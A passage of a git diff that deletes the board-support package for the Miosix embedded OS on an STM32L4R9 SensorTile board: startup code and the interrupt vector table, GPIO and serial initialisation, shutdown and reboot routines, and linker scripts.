startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_PVM_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_IRQHandler(); -void __attribute__((weak)) DMA2_Channel5_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) COMP_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) LPTIM2_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Channel6_IRQHandler(); -void __attribute__((weak)) DMA2_Channel7_IRQHandler(); -void __attribute__((weak)) LPUART1_IRQHandler(); -void __attribute__((weak)) OCTOSPI1_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) OCTOSPI2_IRQHandler(); -void __attribute__((weak)) TSC_IRQHandler(); -void __attribute__((weak)) DSI_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) CRS_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) GFXMMU_IRQHandler(); -void __attribute__((weak)) DMAMUX1_OVR_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_PVM_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - DFSDM1_FLT3_IRQHandler, - TIM8_BRK_IRQHandler, - TIM8_UP_IRQHandler, - TIM8_TRG_COM_IRQHandler, - TIM8_CC_IRQHandler, - 0, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Channel1_IRQHandler, - DMA2_Channel2_IRQHandler, - DMA2_Channel3_IRQHandler, - DMA2_Channel4_IRQHandler, - DMA2_Channel5_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - COMP_IRQHandler, - LPTIM1_IRQHandler, - LPTIM2_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Channel6_IRQHandler, - DMA2_Channel7_IRQHandler, - LPUART1_IRQHandler, - OCTOSPI1_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - SAI1_IRQHandler, - SAI2_IRQHandler, - OCTOSPI2_IRQHandler, - TSC_IRQHandler, - DSI_IRQHandler, - 0, - RNG_IRQHandler, - FPU_IRQHandler, - CRS_IRQHandler, - I2C4_ER_IRQHandler, - I2C4_EV_IRQHandler, - DCMI_IRQHandler, - 0, - 0, - 0, - 0, - DMA2D_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - GFXMMU_IRQHandler, - DMAMUX1_OVR_IRQHandler -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_PVM_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_IRQHandler = Default_Handler -#pragma weak DMA2_Channel5_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak COMP_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak LPTIM2_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Channel6_IRQHandler = Default_Handler -#pragma weak DMA2_Channel7_IRQHandler = Default_Handler -#pragma weak LPUART1_IRQHandler = Default_Handler -#pragma weak OCTOSPI1_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak OCTOSPI2_IRQHandler = Default_Handler -#pragma weak TSC_IRQHandler = Default_Handler -#pragma weak DSI_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak CRS_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak GFXMMU_IRQHandler = Default_Handler -#pragma weak DMAMUX1_OVR_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 819d95708..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32l4xx.h before core_cm4.h, there's some nasty dependency -#define STM32L4R9xx -#include "CMSIS/Device/ST/STM32L4xx/Include/stm32l4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32L4xx/Include/system_stm32l4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/bsp.cpp deleted file mode 100644 index 53d1b0ea2..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,158 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// -typedef Gpio u2tx; -typedef Gpio u2rx; - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB2ENR |= RCC_AHB2ENR_GPIOAEN | RCC_AHB2ENR_GPIOBEN | - RCC_AHB2ENR_GPIOCEN | RCC_AHB2ENR_GPIODEN | - RCC_AHB2ENR_GPIOEEN | RCC_AHB2ENR_GPIOFEN | - RCC_AHB2ENR_GPIOGEN | RCC_AHB2ENR_GPIOHEN | - RCC_AHB2ENR_GPIOIEN; - - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - GPIOI->OSPEEDR=0xaaaaaaaa; - // On sensortile board we bind USART2_RTS, USART2_TX and USART2_RX respectively to pins D4, D5, D6 (we use STLINK V3) - u2tx::mode(Mode::ALTERNATE); - u2rx::mode(Mode::ALTERNATE); - u2tx::alternateFunction(7); - u2rx::alternateFunction(7); - _usart2_rts::mode(Mode::OUTPUT); - _led::mode(Mode::OUTPUT); - _greenLed::mode(Mode::OUTPUT); - _usart2_rts::high(); - sdCardDetect::mode(Mode::INPUT_PULL_UP); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - u2tx::getPin(), u2rx::getPin()))); - -} - - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/bsp_impl.h deleted file mode 100644 index f0c578c9f..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,98 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -typedef Gpio _greenLed; - -inline void greenLedOn() -{ - _greenLed::high(); -} - -inline void greenLedOff() -{ - _greenLed::low(); -} - -typedef Gpio _usart2_rts; - - -///\internal Pin connected to SD_DETECT -typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - * \note According to the schematic, SD_DETECT is shorted to GND when the card - * is removed, and open when the card is inserted. - */ -inline bool sdCardSense() -{ - return sdCardDetect::value()!=0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32_2m+640k_rom.ld b/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32_2m+640k_rom.ld deleted file mode 100644 index 523855d1c..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32_2m+640k_rom.ld +++ /dev/null @@ -1,161 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -_heap_end = 0x200a0000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20001000. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 640K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32_2m+640k_rom_processes.ld b/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32_2m+640k_rom_processes.ld deleted file mode 100644 index 148e1aca2..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32_2m+640k_rom_processes.ld +++ /dev/null @@ -1,165 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done 